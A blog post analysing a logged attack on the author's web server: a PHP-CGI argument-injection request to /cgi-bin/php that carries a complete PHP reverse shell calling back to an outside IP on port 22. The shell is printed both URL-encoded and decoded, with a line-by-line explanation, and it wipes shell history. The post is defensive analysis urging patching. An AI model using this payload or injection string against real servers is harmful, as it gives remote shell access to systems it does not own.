Hack of the Week: Episode 2: Get a Good Host

In a rare occurrence for me, I am continuing my series of watching hack logs. You can check out all the episodes here: HOTW

For this episode I am pulling out an older record because I think it was rather clever.

Date:2016-05-15T17:17:16+00:00
Source IP:204.232.209,188
Destination URI:/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%3%69%6E%2E%73%69%6D%75%6C%61%4%69%6F%6E%3D%6F%6E+%2D%64+%4%69%73%61%62%6C%65%5F%66%75%E%63%74%69%6F%6E%73%3D%22%22+2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%5%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%F%72%63%65%5F%72%65%64%69%72%5%63%74%3D%30+%2D%64+%63%67%9%2E%72%65%64%69%72%65%63%74%F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
Method: POST.set_time_limit(0);
$ip_=+%5C%2791.121.105.21%5C%27%3B%0A%24port+%3D+22%3B%0A%24chunk_size+%3D+1400%3B%0A%24write_a+%3D+null%3B%0A%24error_a+%3D+null%3B%0A%24shell+%3D+%5C%27unset+HISTFILE%3B+unset+HISTSIZE%3B+uname+-a%3B+w%3B+id%3B+%2Fbin%2Fsh+-i%5C%27%3B%0A%24daemon+%3D+0%3B%0A%24debug+%3D+0%3B%0Aif+%28function_exists%28%5C%27pcntl_fork%5C%27%29%29+%7B%0A%09%24pid+%3D+pcntl_fork%28%29%3B%09%0A%09if+%28%24pid+%3D%3D+-1%29+%7B%0A%09%09printit%28%5C%22ERROR%3A+Can%5C%27t+fork%5C%22%29%3B%0A%09%09exit%281%29%3B%0A%09%7D%0A%09if+%28%24pid%29+%7B%0A%09%09exit%280%29%3B%0A%09%7D%0A%09if+%28posix_setsid%28%29+%3D%3D+-1%29+%7B%0A%09%09printit%28%5C%22Error%3A+Can%5C%27t+setsid%28%29%5C%22%29%3B%0A%09%09exit%281%29%3B%0A%09%7D%0A%09%24daemon+%3D+1%3B%0A%7D+else+%7B%0A%09printit%28%5C%22WARNING%3A+Failed+to+daemonise.%5C%22%29%3B%0A%7D%0Achdir%28%5C%22%2F%5C%22%29%3B%0Aumask%280%29%3B%0A%24sock+%3D+fsockopen%28%24ip%2C+%24port%2C+%24errno%2C+%24errstr%2C+30%29%3B%0Aif+%28%21%24sock%29+%7B%0A%09printit%28%5C%22%24errstr+%28%24errno%29%5C%22%29%3B%0A%09exit%281%29%3B%0A%7D%0A%24descriptorspec+%3D+array%28%0A+++0+%3D%3E+array%28%5C%22pipe%5C%22%2C+%5C%22r%5C%22%29%2C%0A+++1+%3D%3E+array%28%5C%22pipe%5C%22%2C+%5C%22w%5C%22%29%2C%0A+++2+%3D%3E+array%28%5C%22pipe%5C%22%2C+%5C%22w%5C%22%29%0A%29%3B%0A%24process+%3D+proc_open%28%24shell%2C+%24descriptorspec%2C+%24pipes%29%3B%0Aif+%28%21is_resource%28%24process%29%29+%7B%0A%09printit%28%5C%22ERROR%3A+Can%5C%27t+spawn+shell%5C%22%29%3B%0A%09exit%281%29%3B%0A%7D%0Astream_set_blocking%28%24pipes%5B0%5D%2C+0%29%3B%0Astream_set_blocking%28%24pipes%5B1%5D%2C+0%29%3B%0Astream_set_blocking%28%24pipes%5B2%5D%2C+0%29%3B%0Astream_set_blocking%28%24sock%2C+0%29%3B%0Awhile+%281%29+%7B%0A%09if+%28feof%28%24sock%29%29+%7B%0A%09%09printit%28%5C%22ERROR%3A+Shell+connection+terminated%5C%22%29%3B%0A%09%09break%3B%0A%09%7D%0A%09if+%28feof%28%24pipes%5B1%5D%29%29+%7B%0A%09%09printit%28%5C%22ERROR%3A+Shell+process+terminated%5C%22%29%3B%0A%09%09break%3B%0A%09%7D%0A%09%24read_a+%3D+array%28%24sock%2C+%24pipes%5B1%5D%2C+%24pipes%5B2%5D%29%3B%0A%09%24num_changed_sockets+%3D+stream_select%28%24read_a%2C+%24write_a%2C+%24error_a%2C+null%29%3B%0A%09if+%28in_array%28%24sock%2C+%24read_a%29%29+%7B%0A%09%09if+%28%24debug%29+printit%28%5C%22SOCK+READ%5C%22%29%3B%0A%09%09%24input+%3D+fread%28%24sock%2C+%24chunk_size%29%3B%0A%09%09if+%28%24debug%29+printit%28%5C%22SOCK%3A+%24input%5C%22%29%3B%0A%09%09fwrite%28%24pipes%5B0%5D%2C+%24input%29%3B%0A%09%7D%0A%09if+%28in_array%28%24pipes%5B1%5D%2C+%24read_a%29%29+%7B%0A%09%09if+%28%24debug%29+printit%28%5C%22STDOUT+READ%5C%22%29%3B%0A%09%09%24input+%3D+fread%28%24pipes%5B1%5D%2C+%24chunk_size%29%3B%0A%09%09if+%28%24debug%29+printit%28%5C%22STDOUT%3A+%24input%5C%22%29%3B%0A%09%09fwrite%28%24sock%2C+%24input%29%3B%0A%09%7D%0A%09if+%28in_array%28%24pipes%5B2%5D%2C+%24read_a%29%29+%7B%0A%09%09if+%28%24debug%29+printit%28%5C%22STDERR+READ%5C%22%29%3B%0A%09%09%24input+%3D+fread%28%24pipes%5B2%5D%2C+%24chunk_size%29%3B%0A%09%09if+%28%24debug%29+printit%28%5C%22STDERR%3A+%24input%5C%22%29%3B%0A%09%09fwrite%28%24sock%2C+%24input%29%3B%0A%09%7D%0A%7D%0A%0Afclose%28%24sock%29%3B%0Afclose%28%24pipes%5B0%5D%29%3B%0Afclose%28%24pipes%5B1%5D%29%3B%0Afclose%28%24pipes%5B2%5D%29%3B%0Aproc_close%28%24process%29%3B%0Afunction+printit+%28%24string%29+%7B%0A%09if+%28%21%24daemon%29+%7B%0A%09%09print+%5C%22%24string%0A%5C%22%3B%0A%09%7D%0A%7D%0Aexit%281%29%3B%0A%3F%3E,

Well, that is a mouthful.

Source IP

A quick look at WhoIsXmlApi reveals the attacking server to be Rackspace Hosting, here in Texas, USA. Unlike a lot of overseas hosts, we could probably report this to abuse@rackspace.com and get a response.

Destination URIs

The URI here /cgi-bin/php should be familiar to a lot of old-timers, but perhaps not to the younger crowd. Many webservers allow custom executable scripts to be placed into the webserver’s cgi-bin (Common Gateway Interface – Binary) directory. This harkens back to the early days of the web and Perl guestbooks. Unfortunately not only is the process of running things from cgi-bin fraught with issues, PHP had a vulnerability discovered in 2012 that existed for 8 years. Of course, people didn’t listen to the advice from CERT back in 1996 and would still put an executable PHP version in cgi-bin/.

URL Decoding the URI gives us more information, specifically an attempt to modify php.ini values:

-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on
-d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input 
-d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
  • allow_url_include: Let the script grab remote files for execution.
  • safe_mode: safe_mode was removed in PHP 5.4. It was an attempt to make PHP execution on a shared host more safe by disabling certain functions. This script certainly doesn’t want to be restricted.
  • suhosin.simulation: Suhosin attempts to harden PHP by preventing certain actions. The simulation mode will log bad things, but not block them.
  • disable_functions: Server admins have the ability to disable particular functions by placing them in this php.ini variable. Here, the attacker is clearing out the list.
  • open_basedir: “none” lets the PHP scripts access the entire filesystem.
  • auto_prepend_file: Automatically add our POST data to the beginning of the output.
  • cgi.force_redirect: Here we allow for calling PHP files directly in case that ability was turned off.
  • cgi.redirect_status_env: This will keep PHP running on non-Apache and Netscape servers. (See the great note)

All that to say: “really really please please really run my script please”.

Method

As usual, we are using a POST to hide a lot of what we are doing from the webserver logs. Too bad the URI is spammy.

Params

This attack has no standard parameters because our URI is instructing the server to run the complete payload.

Payload & Code

This is a bit long after running through URL Decode so bear with me.

Lines 1-9:

set_time_limit(0);
$ip_= \'91.121.105.21\';
$port = 22;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = \'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i\';
$daemon = 0;
$debug = 0;
  • First of all, we want to run forever, just in case the server had a limit to save resources.
  • Then we set an IP. That’s not suspicious. Neither is the fact that the IP is owned by one of the same companies we highlighted in Episode 1.
  • Port 22 is the normal ssh port which should guarantee we won’t be blocked if we try any communication with the server.
  • The $shell line (when executed) will provide some good system fingerprinting, in addition to wiping the shell history of the user the webserver is running as, cleaning up our tracks.

Lines 10-26:

if (function_exists(\'pcntl_fork\')) {
 $pid = pcntl_fork(); 
 if ($pid == -1) {
  printit(\"ERROR: Can\'t fork\");
  exit(1);
 }
 if ($pid) {
  exit(0);
 }
 if (posix_setsid() == -1) {
  printit(\"Error: Can\'t setsid()\");
  exit(1);
 }
 $daemon = 1;
} else {
 printit(\"WARNING: Failed to daemonise.\");
}

Here the script is trying to “fork/daemonise” itself so that it can continue running even after an Apache restart.

Lines 27-47:

chdir(\"/\");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit(\"$errstr ($errno)\");
 exit(1);
}
$descriptorspec = array(
 0 => array(\"pipe\", \"r\"),
 1 => array(\"pipe\", \"w\"),
 2 => array(\"pipe\", \"w\")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
 printit(\"ERROR: Can\'t spawn shell\");
 exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
  • Switch to the root directory
  • Allow all files we create to be r/w by the webserver
  • Open a connection to our ebul remote server
  • Run the fingerprinting shell line with pipes 0: read, 1: write, 2: errors
  • Set up the stream protocols to transfer the results

Lines 48-77:

while (1) {
 if (feof($sock)) {
  printit(\"ERROR: Shell connection terminated\");
  break;
 }
 if (feof($pipes[1])) {
  printit(\"ERROR: Shell process terminated\");
  break;
 }
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 if (in_array($sock, $read_a)) {
 if ($debug) printit(\"SOCK READ\");
 $input = fread($sock, $chunk_size);
 if ($debug) printit(\"SOCK: $input\");
  fwrite($pipes[0], $input);
 }
 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit(\"STDOUT READ\");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit(\"STDOUT: $input\");
  fwrite($sock, $input);
 }
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit(\"STDERR READ\");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit(\"STDERR: $input\");
  fwrite($sock, $input);
 }
}
  • Start up an infinite loop to keep the connection open
  • Close the connection only when the shell exits or there is a connection error
  • Negotiate communications over port 22, effectively mimicking Telnet

Lines 79-83:

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

Once out of the communication loop, close things down and clean up.

Lines 84-89:

function printit ($string) {
 if (!$daemon) {
 print \"$string
\";
 }
}
exit(1);
?>

Just a helper function to print to the screen if the script couldn’t be forked.

Analysis

This was a deliberate attempt to see if my server was vulnerable to a known older exploit. If successful, not only would the attacker have a convenient fingerprint of my system information, they would have shell access to my box.

Conclusion

This attack shows the perils of 1: not following best practices, 2: ignoring security guidelines from CERT, and 3: not keeping your server software up to date. Some hosting companies know how to take your money but don’t know how to properly set up and secure the environment you need to use. Don’t just save a couple bucks, get a good host who will keep their version of PHP within 1-2 minor release versions of the current and always update when there are known vulnerabilities.

Fun fact: 

I like how they were so kind to provide an exit status and close off the PHP script.

Leave a Reply